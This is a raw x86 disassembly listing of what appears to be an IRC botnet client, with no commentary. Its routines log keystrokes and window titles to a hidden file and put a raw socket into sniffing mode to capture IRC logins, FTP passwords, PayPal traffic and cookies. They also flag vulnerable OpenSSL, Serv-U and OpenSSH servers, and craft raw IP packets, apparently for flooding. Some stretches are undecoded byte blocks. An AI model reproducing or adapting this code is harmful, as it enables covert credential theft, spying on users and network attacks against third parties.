6A57FFFFh dd 7FE85001h, 83000096h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh dd 478D50F4h, 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CDC5C15h dd 75FB3B00h, 0B0458D6Eh, 88858D50h, 68FFFFF8h, 4372D0h dd 9DB0E850h, 0C4830000h, 289D390Ch, 75FFFFFFh, 858D5323h dd 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh dd 0FFFFFC8Ch, 0FF7C75E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh dd 35AEh, 6F005FFh, 0EB59004Dh, 0F475FF16h, 50C4458Dh dd 68096A53h, 4372C4h, 5C15FF56h, 39004CDCh, 8F0FF85Dh dd 0FFFFFD7Dh, 56087D8Bh, 0DC9015FFh, 75FF004Ch, 9511E8FCh dd 8DFF0000h, 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h dd 0E8FFFFFEh, 0FFFF9533h, 0A5E85359h, 0CB006FE2h, 3E868h dd 6415FF00h, 57004280h, 0FFFBA8E8h, 5B5E5FFFh, 4C2C9h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D74 proc near ; CODE XREF: seg000:00411F07p ; seg000:0041209Ap var_314 = byte ptr -314h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp sub esp, 314h lea eax, [ebp+var_10] push esi push eax call ds:dword_428130 ; GetLocalTime lea eax, [ebp+var_114] push 104h push eax call near ptr 0B10000h inc eax lea eax, [ebp+var_114] push offset asc_437A94 ; "\\" push eax call sub_41C0B0 lea eax, [ebp+var_114] push offset aWinnt99_bat ; "winnt99.bat" push eax call sub_41C0B0 lea eax, [ebp+var_114] push offset aAb ; "ab" push eax call sub_41B6B2 mov esi, eax add esp, 18h test esi, esi jnz short loc_411DD9 inc eax jmp short loc_411E50 ; --------------------------------------------------------------------------- loc_411DD9: ; CODE XREF: sub_411D74+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41BFF6 push esi call sub_41B24B add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_411E4E push [ebp+arg_0] lea eax, [ebp+var_314] push offset dword_437A64 push 200h push eax call sub_41BB70 push 0 lea eax, [ebp+var_314] push [ebp+arg_8C] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_4] call sub_409966 add esp, 24h loc_411E4E: ; CODE XREF: sub_411D74+A1j xor eax, eax loc_411E50: ; CODE XREF: sub_411D74+63j pop esi leave retn sub_411D74 endp ; --------------------------------------------------------------------------- loc_411E53: ; DATA XREF: seg000:00405F13o push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+8] push ebx push esi push edi and dword ptr [ebp-8DCh], 0 push 25h and dword ptr [ebp-4], 0 pop ecx mov esi, eax lea edi, [ebp-0DCh] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp-8D8h] rep stosd call ds:dword_4CDB7C ; GetForegroundWindow lea ecx, [ebp-48h] push 3Ch push ecx push eax mov [ebp-8], eax call ds:dword_4CDB94 ; GetWindowTextA mov ebx, 200h loc_411EAE: ; CODE XREF: seg000:0041210Ej push 8 call ds:dword_428064 ; Sleep call ds:dword_4CDB7C ; GetForegroundWindow cmp eax, [ebp-8] jz short loc_411F36 lea ecx, [ebp-48h] push 3Ch push ecx push eax mov [ebp-8], eax call ds:dword_4CDB94 ; GetWindowTextA lea eax, [ebp-48h] push eax lea eax, [ebp-2DCh] push eax lea eax, [ebp-4DCh] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_41BA76 sub esp, 84h lea esi, [ebp-0DCh] lea eax, [ebp-4DCh] push 25h pop ecx mov edi, esp push eax rep movsd call sub_411D74 mov [ebp-4], eax push ebx lea eax, [ebp-2DCh] push 0 push eax call sub_41B780 add esp, 0A4h lea eax, [ebp-4DCh] push ebx push 0 push eax call sub_41B780 add esp, 0Ch loc_411F36: ; CODE XREF: seg000:00411EBFj mov dword ptr [ebp+8], offset aB_0 ; "b" loc_411F3D: ; CODE XREF: seg000:00412104j push 10h call ds:dword_4CDACC ; GetKeyState movsx esi, ax mov eax, [ebp+8] mov edi, [eax-4] push edi call ds:dword_4CDBC4 ; GetAsyncKeyState test ah, ah jns short loc_411FD4 push 14h call ds:dword_4CDACC ; GetKeyState test ax, ax jz short loc_411F85 cmp esi, 0FFFFFFFFh jle short loc_411F85 cmp edi, 40h jle short loc_411F85 cmp edi, 5Bh jge short loc_411F85 mov dword ptr [ebp+edi*4-8DCh], 1 jmp loc_4120F9 ; --------------------------------------------------------------------------- loc_411F85: ; CODE XREF: seg000:00411F64j ; seg000:00411F69j ... push 14h call ds:dword_4CDACC ; GetKeyState test ax, ax jz short loc_411FB0 test esi, esi jge short loc_411FC4 cmp edi, 40h jle short loc_411FB0 cmp edi, 5Bh jge short loc_411FB0 mov dword ptr [ebp+edi*4-8DCh], 2 jmp loc_4120F9 ; --------------------------------------------------------------------------- loc_411FB0: ; CODE XREF: seg000:00411F90j ; seg000:00411F99j ... test esi, esi jge short loc_411FC4 mov dword ptr [ebp+edi*4-8DCh], 3 jmp loc_4120F9 ; --------------------------------------------------------------------------- loc_411FC4: ; CODE XREF: seg000:00411F94j ; seg000:00411FB2j mov dword ptr [ebp+edi*4-8DCh], 4 jmp loc_4120F9 ; --------------------------------------------------------------------------- loc_411FD4: ; CODE XREF: seg000:00411F57j lea eax, [ebp+edi*4-8DCh] mov esi, [eax] test esi, esi jz loc_4120F9 and dword ptr [eax], 0 lea eax, [ebp-2DCh] push eax call sub_41B1D0 cmp edi, 8 pop ecx jnz short loc_412007 and byte ptr [ebp+eax-2DDh], 0 jmp loc_4120F9 ; --------------------------------------------------------------------------- loc_412007: ; CODE XREF: seg000:00411FF8j cmp eax, 1B9h jbe short loc_412033 call ds:dword_4CDB7C ; GetForegroundWindow lea ecx, [ebp-48h] push 3Ch push ecx push eax call ds:dword_4CDB94 ; GetWindowTextA lea eax, [ebp-48h] push eax lea eax, [ebp-2DCh] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_412074 ; --------------------------------------------------------------------------- loc_412033: ; CODE XREF: seg000:0041200Cj cmp edi, 0Dh jnz loc_4120CB lea eax, [ebp-2DCh] push eax call sub_41B1D0 test eax, eax pop ecx jz loc_4120F9 call ds:dword_4CDB7C ; GetForegroundWindow lea ecx, [ebp-48h] push 3Ch push ecx push eax call ds:dword_4CDB94 ; GetWindowTextA lea eax, [ebp-48h] push eax lea eax, [ebp-2DCh] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_412074: ; CODE XREF: seg000:00412031j lea eax, [ebp-4DCh] push eax call sub_41BA76 sub esp, 84h lea esi, [ebp-0DCh] lea eax, [ebp-4DCh] push 25h pop ecx mov edi, esp push eax rep movsd call sub_411D74 mov [ebp-4], eax push ebx lea eax, [ebp-2DCh] push 0 push eax call sub_41B780 add esp, 0A4h lea eax, [ebp-4DCh] push ebx push 0 push eax call sub_41B780 add esp, 0Ch jmp short loc_4120F9 ; --------------------------------------------------------------------------- loc_4120CB: ; CODE XREF: seg000:00412036j cmp esi, 1 jz short loc_4120E4 cmp esi, 3 jz short loc_4120E4 cmp esi, 2 jz short loc_4120DF cmp esi, 4 jnz short loc_4120F9 loc_4120DF: ; CODE XREF: seg000:004120D8j push dword ptr [ebp+8] jmp short loc_4120EB ; --------------------------------------------------------------------------- loc_4120E4: ; CODE XREF: seg000:004120CEj ; seg000:004120D3j mov eax, [ebp+8] add eax, 7 push eax loc_4120EB: ; CODE XREF: seg000:004120E2j lea eax, [ebp-2DCh] push eax call sub_41C0B0 pop ecx pop ecx loc_4120F9: ; CODE XREF: seg000:00411F80j ; seg000:00411FABj ... add dword ptr [ebp+8], 14h cmp dword ptr [ebp+8], offset dword_437A2C jl loc_411F3D cmp dword ptr [ebp-4], 0 jz loc_411EAE push dword ptr [ebp-0D8h] call sub_40B287 pop ecx push 0 call near ptr 0B10000h icebp loc_412128: ; DATA XREF: seg000:00405C12o push ebp mov ebp, esp mov eax, 102B4h call sub_41BD10 mov edx, [ebp+8] push esi push edi push 25h xor eax, eax pop ecx mov esi, edx lea edi, [ebp-0B4h] inc eax push 10h rep movsd mov [ebp-8], eax mov [edx+90h], eax xor esi, esi lea eax, [ebp-1Ch] push esi push eax call sub_41B780 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push esi call ds:dword_4CDBF8 ; htons push dword ptr [ebp-0B4h] mov [ebp-1Ah], ax call sub_40AAF8 pop ecx push eax call ds:dword_4CDC38 ; inet_addr push esi push 3 push 2 mov [ebp-18h], eax call ds:dword_4CDC78 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-4], edi jnz short near ptr loc_4121FC+1 call ds:dword_4CDB8C ; WSAGetLastError push eax lea eax, [ebp-2B4h] push offset dword_438434 push eax call sub_41BA76 add esp, 0Ch cmp [ebp-28h], esi jnz short loc_4121E0 push esi lea eax, [ebp-2B4h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-0B0h] push eax push dword ptr [ebp-0B4h] call sub_409966 add esp, 14h loc_4121E0: ; CODE XREF: seg000:004121BEj lea eax, [ebp-2B4h] push eax call sub_4152AE push dword ptr [ebp-30h] call sub_40B287 pop ecx pop ecx push esi call near ptr 0B10000h loc_4121FC: ; CODE XREF: seg000:0041219Ej and eax, 6AD0458Bh adc [ecx-40h], ch xor al, 2 ; --------------------------------------------------------------------------- dw 0 dd 0B44B889h, 458D0044h, 0FF5750E4h, 4CDC2415h, 0FFF88300h dd 15FF6475h, 4CDB8Ch, 4C858D50h, 68FFFFFDh, 438408h, 9840E850h dd 0C4830000h, 0D875390Ch, 8D562075h, 0FFFD4C85h, 0D475FFFFh dd 50858D50h, 50FFFFFFh, 0FF4CB5FFh, 0BE8FFFFh, 83FFFF77h dd 858D14C4h, 0FFFFFD4Ch, 3044E850h, 57590000h, 0DC9015FFh dd 75FF004Ch, 900DE8D0h, 5659FFFFh, 6FDD7FE8h, 8D56AD00h dd 5056E045h, 458D5656h, 50046AF8h, 168h, 15FF5798h, 4CDBA4h dd 75FFF883h, 8C15FF64h, 50004CDBh, 0FD4C858Dh, 0D868FFFFh dd 50004383h, 97BDE8h, 0CC48300h, 75D87539h, 858D5620h dd 0FFFFFD4Ch, 50D475FFh, 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h dd 7688E8FFh, 0C483FFFFh, 4C858D14h, 50FFFFFDh, 2FC1E8h dd 0FF575900h, 4CDC9015h, 0D075FF00h, 0FF8F8AE8h, 0E85659FFh dd 6FDCFCh, 0F0BB532Fh, 6800437Ah, 0FFFFh, 0FD4C858Dh dd 5056FFFEh, 9463E8h, 0CC48300h, 0FD4C858Dh, 6856FFFEh dd 0FFFFh, 15FF5750h, 4CDC10h, 0FFFF883h, 0F784h, 55BD8000h dd 6FFFEFDh, 858BC575h, 0FFFEFD58h, 0FD6DBD80h, 8918FFFEh dd 0B375F445h, 0FD74858Dh, 0CC68FFFEh, 50004383h, 9787E8h dd 0C0855900h, 8D9C7559h, 0FEFD7485h, 83BC68FFh, 0E8500043h dd 9770h, 59C08559h, 0FF338575h, 5D89C38Bh, 858D5008h dd 0FFFEFD74h, 9756E850h, 85590000h, 127559C0h, 8458347h dd 8458B18h, 7D8BE375h, 0FF59E9FCh, 858DFFFFh, 0FFFEFD74h dd 60B5FF50h, 0FFFFFEFDh, 4CDB2815h, 0C0B70F00h, 0F475FF50h dd 0DC8415FFh, 8D50004Ch, 48B7F04h, 437B04C5h, 8534FF00h dd 437AE0h, 0FD4C858Dh, 8868FFFFh, 68004383h, 200h, 9776E850h dd 0C4830000h, 0D875391Ch, 8D562075h, 0FFFD4C85h, 0D475FFFFh dd 50858D50h, 50FFFFFFh, 0FF4CB5FFh, 47E8FFFFh, 83FFFF75h dd 858D14C4h, 0FFFFFD4Ch, 2E80E850h, 0E9590000h, 0FFFFFF76h dd 0DB8C15FFh, 6850004Ch, 43835Ch, 0FD4C858Dh, 68FFFFh dd 50000002h, 971FE8h, 10C48300h, 5BD87539h, 8D562075h dd 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh, 0FF4CB5FFh dd 0EFE8FFFFh, 83FFFF74h, 858D14C4h, 0FFFFFD4Ch, 2E28E850h dd 57590000h, 0DC9015FFh, 75FF004Ch, 8DF1E8D0h, 5659FFFFh dd 6FDB63E8h db 0, 99h ; =============== S U B R O U T I N E ======================================= sub_41249E proc near ; CODE XREF: seg000:004129C3p ; seg000:004129EDp arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ds:dword_4D0938, eax mov eax, offset dword_4D0938 retn sub_41249E endp ; =============== S U B R O U T I N E ======================================= sub_4124AD proc near ; CODE XREF: seg000:00412A64p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jz short loc_4124C7 loc_4124C3: ; CODE XREF: sub_4124AD+29j ; sub_4124AD+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4124C7: ; CODE XREF: sub_4124AD+14j push offset aBo ; "#Bo" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_4124C3 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_4124C3 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_4124C3 push offset aJoin_0 ; "JOIN #" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jz short loc_41250F loc_41250B: ; CODE XREF: sub_4124AD+71j ; sub_4124AD+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41250F: ; CODE XREF: sub_4124AD+5Cj push offset a302_0 ; "302 " push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_41250B push offset a366 ; "366 " push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_41250B push offset a_login_0 ; ":.login" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_41250B push offset aLogin_1 ; ":!login" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_41250B push offset aLogin_0 ; ":!Login" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_41250B push offset a_login ; ":.Login" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_41250B push offset a_ident ; ":.ident" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_41250B push offset aIdent ; ":!ident" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz loc_41250B push offset a_hashin ; ":.hashin" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz loc_41250B push offset aHashin ; ":!hashin" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4124AD endp ; =============== S U B R O U T I N E ======================================= sub_4125C4 proc near ; CODE XREF: seg000:loc_412A93p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jz short loc_4125DE loc_4125DA: ; CODE XREF: sub_4125C4+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4125DE: ; CODE XREF: sub_4125C4+14j push offset aBo ; "#Bo" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_4125DA push offset aOper_0 ; "OPER " push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jz short loc_412604 loc_412600: ; CODE XREF: sub_4125C4+4Fj ; sub_4125C4+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412604: ; CODE XREF: sub_4125C4+3Aj push offset aNick_1 ; "NICK " push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_412600 push offset aOper ; "oper " push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_412600 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4125C4 endp ; =============== S U B R O U T I N E ======================================= sub_41263A proc near ; CODE XREF: seg000:loc_412ABFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jz short loc_412654 loc_412650: ; CODE XREF: sub_41263A+29j ; sub_41263A+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412654: ; CODE XREF: sub_41263A+14j push offset aBo ; "#Bo" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_412650 push offset aNick_1 ; "NICK " push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_412650 push offset a220 ; "220 " push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jz short loc_41268B loc_412687: ; CODE XREF: sub_41263A+60j ; sub_41263A+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41268B: ; CODE XREF: sub_41263A+4Bj push offset a230 ; "230 " push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_412687 push offset aUser_3 ; "USER " push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_412687 push offset aPass_1 ; "PASS " push esi call sub_41BAF0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_41263A endp ; =============== S U B R O U T I N E ======================================= sub_4126C1 proc near ; CODE XREF: seg000:00412AF2p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jz short loc_4126DB loc_4126D7: ; CODE XREF: sub_4126C1+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4126DB: ; CODE XREF: sub_4126C1+14j push offset aBo ; "#Bo" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_4126D7 push offset aPaypal ; "paypal" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jz short loc_412701 loc_4126FD: ; CODE XREF: sub_4126C1+4Fj ; sub_4126C1+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412701: ; CODE XREF: sub_4126C1+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_4126FD push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_4126FD push offset aPaypal_com ; "paypal.com" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_4126FD push offset aSetCookie ; "Set-Cookie:" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_4126C1 endp ; =============== S U B R O U T I N E ======================================= sub_412748 proc near ; CODE XREF: seg000:loc_412B5Ap arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jz short loc_412762 loc_41275E: ; CODE XREF: sub_412748+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412762: ; CODE XREF: sub_412748+14j push offset aBo ; "#Bo" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_41275E push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jz short loc_412788 loc_412784: ; CODE XREF: sub_412748+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412788: ; CODE XREF: sub_412748+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx jnz short loc_412784 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41BAF0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412748 endp ; --------------------------------------------------------------------------- loc_4127AD: ; DATA XREF: seg000:00405D60o push ebp mov ebp, esp mov eax, 113B8h call sub_41BD10 mov eax, [ebp+8] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp-0B8h] rep movsd xor esi, esi push 3Fh inc esi xor ebx, ebx mov [eax+90h], esi pop ecx xor eax, eax lea edi, [ebp-3B7h] mov [ebp-3B8h], bl push 0FFh rep stosd stosw lea eax, [ebp-3B8h] mov word ptr [ebp-20h], 2 push eax mov [ebp-1Eh], bx mov [ebp-1Ch], ebx call ds:dword_4CDC0C ; gethostname lea eax, [ebp-3B8h] push eax call ds:dword_4CDC7C ; gethostbyname movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp-8] push eax call sub_41C500 mov eax, [ebp-8] add esp, 0Ch mov [ebp-1Ch], eax push ebx push 3 push 2 call ds:dword_4CDC78 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-10h], edi jnz short loc_412853 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_412853: ; CODE XREF: seg000:00412848j lea eax, [ebp-20h] push 10h push eax push edi call ds:dword_4CDC24 ; bind cmp eax, 0FFFFFFFFh jnz short near ptr loc_4128C8+1 call ds:dword_4CDB8C ; WSAGetLastError push eax lea eax, [ebp-2B8h] push offset unk_438708 push eax call sub_41BA76 add esp, 0Ch cmp [ebp-2Ch], ebx jnz short loc_4128A5 push ebx lea eax, [ebp-2B8h] push dword ptr [ebp-30h] push eax lea eax, [ebp-0B4h] push eax push dword ptr [ebp-0B8h] call sub_409966 add esp, 14h loc_4128A5: ; CODE XREF: seg000:00412883j lea eax, [ebp-2B8h] push eax call sub_4152AE pop ecx push edi call ds:dword_4CDC90 ; closesocket push dword ptr [ebp-34h] call sub_40B287 pop ecx push ebx call near ptr 0B10000h loc_4128C8: ; CODE XREF: seg000:00412863j sub eax, 0DC458D53h push ebx push eax push ebx push ebx lea eax, [ebp-0Ch] push 4 push eax push 98000001h push edi mov [ebp-0Ch], esi call ds:dword_4CDBA4 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_41294F call ds:dword_4CDB8C ; WSAGetLastError push eax lea eax, [ebp-2B8h] push offset unk_4386D8 push eax call sub_41BA76 add esp, 0Ch cmp [ebp-2Ch], ebx jnz short loc_41292B push ebx lea eax, [ebp-2B8h] push dword ptr [ebp-30h] push eax lea eax, [ebp-0B4h] push eax push dword ptr [ebp-0B8h] call sub_409966 add esp, 14h loc_41292B: ; CODE XREF: seg000:00412909j lea eax, [ebp-2B8h] push eax call sub_4152AE pop ecx push edi call ds:dword_4CDC90 ; closesocket push dword ptr [ebp-34h] call sub_40B287 pop ecx push ebx call near ptr 0B10000h movsb loc_41294F: ; CODE XREF: seg000:004128E9j mov esi, 200h loc_412954: ; CODE XREF: seg000:00412983j ; seg000:004129ACj ... mov edi, 0FFFFh lea eax, [ebp-113B8h] push edi push ebx push eax call sub_41B780 add esp, 0Ch lea eax, [ebp-113B8h] push ebx push edi push eax push dword ptr [ebp-10h] call ds:dword_4CDC10 ; recv cmp byte ptr [ebp-113AFh], 6 jnz short loc_412954 push dword ptr [ebp-113A4h] call ds:dword_4281E8 ; htons push dword ptr [ebp-113A2h] movzx edi, ax mov [ebp-4], edi call ds:dword_4281E8 ; htons movzx eax, ax cmp edi, 6Eh mov [ebp+8], eax jz short loc_412954 cmp edi, 19h jz short loc_412954 cmp eax, 6Eh jz short loc_412954 cmp eax, 19h jz short loc_412954 push dword ptr [ebp-113ACh] call sub_41249E mov edi, ds:dword_4281EC add esp, 4 push dword ptr [eax] call edi ; inet_ntoa push eax lea eax, [ebp-13B8h] push offset aS_2 ; "%s" push eax call sub_41BA76 push dword ptr [ebp-113A8h] call sub_41249E add esp, 10h push dword ptr [eax] call edi ; inet_ntoa push eax lea eax, [ebp-0BB8h] push offset aS_2 ; "%s" push eax call sub_41BA76 lea eax, [ebp-1138Ch] xor edi, edi push eax call sub_41B1D0 add esp, 10h test eax, eax jle short loc_412A49 loc_412A20: ; CODE XREF: seg000:00412A47j lea eax, [ebp+edi-1138Ch] cmp byte ptr [eax], 0Dh jnz short loc_412A2F mov byte ptr [eax], 20h loc_412A2F: ; CODE XREF: seg000:00412A2Aj cmp byte ptr [eax], 0Ah jnz short loc_412A37 mov byte ptr [eax], 20h loc_412A37: ; CODE XREF: seg000:00412A32j lea eax, [ebp-1138Ch] inc edi push eax call sub_41B1D0 cmp edi, eax pop ecx jl short loc_412A20 loc_412A49: ; CODE XREF: seg000:00412A1Ej cmp dword ptr [ebp-4], 50h jz loc_412AEB cmp dword ptr [ebp+8], 50h jz loc_412AEB lea eax, [ebp-1138Ch] push eax call sub_4124AD test al, al pop ecx lea eax, [ebp-1138Ch] push eax jz short loc_412A93 push dword ptr [ebp+8] lea eax, [ebp-0BB8h] push eax lea eax, [ebp-13B8h] push dword ptr [ebp-4] push eax push offset unk_4386A4 jmp loc_412B1C ; --------------------------------------------------------------------------- loc_412A93: ; CODE XREF: seg000:00412A73j call sub_4125C4 test al, al pop ecx lea eax, [ebp-1138Ch] push eax jz short loc_412ABF push dword ptr [ebp+8] lea eax, [ebp-0BB8h] push eax lea eax, [ebp-13B8h] push dword ptr [ebp-4] push eax push offset unk_438670 jmp short loc_412B1C ; --------------------------------------------------------------------------- loc_412ABF: ; CODE XREF: seg000:00412AA2j call sub_41263A test al, al pop ecx jz short loc_412AEB lea eax, [ebp-1138Ch] push eax lea eax, [ebp-0BB8h] push dword ptr [ebp+8] push eax lea eax, [ebp-13B8h] push dword ptr [ebp-4] push eax push offset unk_43863C jmp short loc_412B1C ; --------------------------------------------------------------------------- loc_412AEB: ; CODE XREF: seg000:00412A4Dj ; seg000:00412A57j ... lea eax, [ebp-1138Ch] push eax call sub_4126C1 test al, al pop ecx lea eax, [ebp-1138Ch] push eax jz short loc_412B5A push dword ptr [ebp+8] lea eax, [ebp-0BB8h] push eax lea eax, [ebp-13B8h] push dword ptr [ebp-4] push eax push offset unk_438604 loc_412B1C: ; CODE XREF: seg000:00412A8Ej ; seg000:00412ABDj ... lea eax, [ebp-2B8h] push esi push eax call sub_41BB70 add esp, 20h cmp [ebp-2Ch], ebx jnz loc_412954 push ebx lea eax, [ebp-2B8h] push dword ptr [ebp-30h] push eax lea eax, [ebp-0B4h] push eax push dword ptr [ebp-0B8h] call sub_409966 add esp, 14h jmp loc_412954 ; --------------------------------------------------------------------------- loc_412B5A: ; CODE XREF: seg000:00412B01j call sub_412748 test al, al pop ecx jz loc_412954 lea eax, [ebp-1138Ch] push eax lea eax, [ebp-0BB8h] push dword ptr [ebp+8] push eax lea eax, [ebp-13B8h] push dword ptr [ebp-4] push eax push offset unk_4385CC jmp short loc_412B1C ; --------------------------------------------------------------------------- word_412B8A dw 8B55h ; DATA XREF: seg000:00407FA5o dd 94EC81ECh, 8B000004h, 57560845h, 0A5B9h, 8DF08B00h dd 0FFFD6CBDh, 0C7A5F3FFh, 29080h, 100h, 0A815FF00h, 50004280h dd 8F0BE8h, 74858D00h, 50FFFFFEh, 0FF74858Dh, 8D50FFFFh dd 0FFFDF485h, 858D50FFh, 0FFFFFD74h, 394E850h, 8D500000h dd 0FFFB6C85h, 873468FFh, 0E8500043h, 8E86h, 0C483F633h dd 0F8753920h, 8D562075h, 0FFFB6C85h, 0F475FFFFh, 0F4858D50h dd 50FFFFFEh, 0FD6CB5FFh, 4FE8FFFFh, 83FFFF6Dh, 858D14C4h dd 0FFFFFB6Ch, 2688E850h, 0B5FF0000h, 0FFFFFD70h, 0FF8656E8h dd 565959FFh, 6FD3C7E8h, 5E5FD800h ; --------------------------------------------------------------------------- loc_412C3C: ; CODE XREF: seg000:00412FB2p push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp-0B3h] mov [ebp-0B4h], bl rep stosd stosw stosb lea eax, [ebp-284h] push eax push 202h call ds:dword_4CDB68 ; WSAStartup test eax, eax jz short loc_412C7C xor eax, eax jmp loc_412F45 ; --------------------------------------------------------------------------- loc_412C7C: ; CODE XREF: seg000:00412C73j xor edi, edi inc edi push edi push ebx push ebx push 0FFh push 3 push 2 call ds:dword_4CDC9C ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp-20h], eax jz loc_412F3D push esi lea ecx, [ebp-40h] push 4 push ecx push 2 push ebx push eax mov [ebp-40h], edi call ds:dword_4CDBD8 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_412F33 push dword ptr [ebp+14h] mov word ptr [ebp-58h], 2 call ds:dword_4CDBF8 ; htons mov esi, [ebp+8] push 28h mov [ebp-56h], ax mov [ebp-54h], esi mov byte ptr [ebp-34h], 45h call ds:dword_4CDBF8 ; htons push dword ptr [ebp+14h] mov [ebp-32h], ax mov [ebp-30h], di mov [ebp-2Eh], bx mov byte ptr [ebp-2Ch], 80h mov byte ptr [ebp-2Bh], 6 mov [ebp-2Ah], bx mov [ebp-24h], esi call ds:dword_4CDBF8 ; htons mov [ebp-12h], ax call sub_41BAD2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call ds:dword_4CDBF8 ; htons push 12345678h mov [ebp-14h], ax call ds:dword_4CDBF4 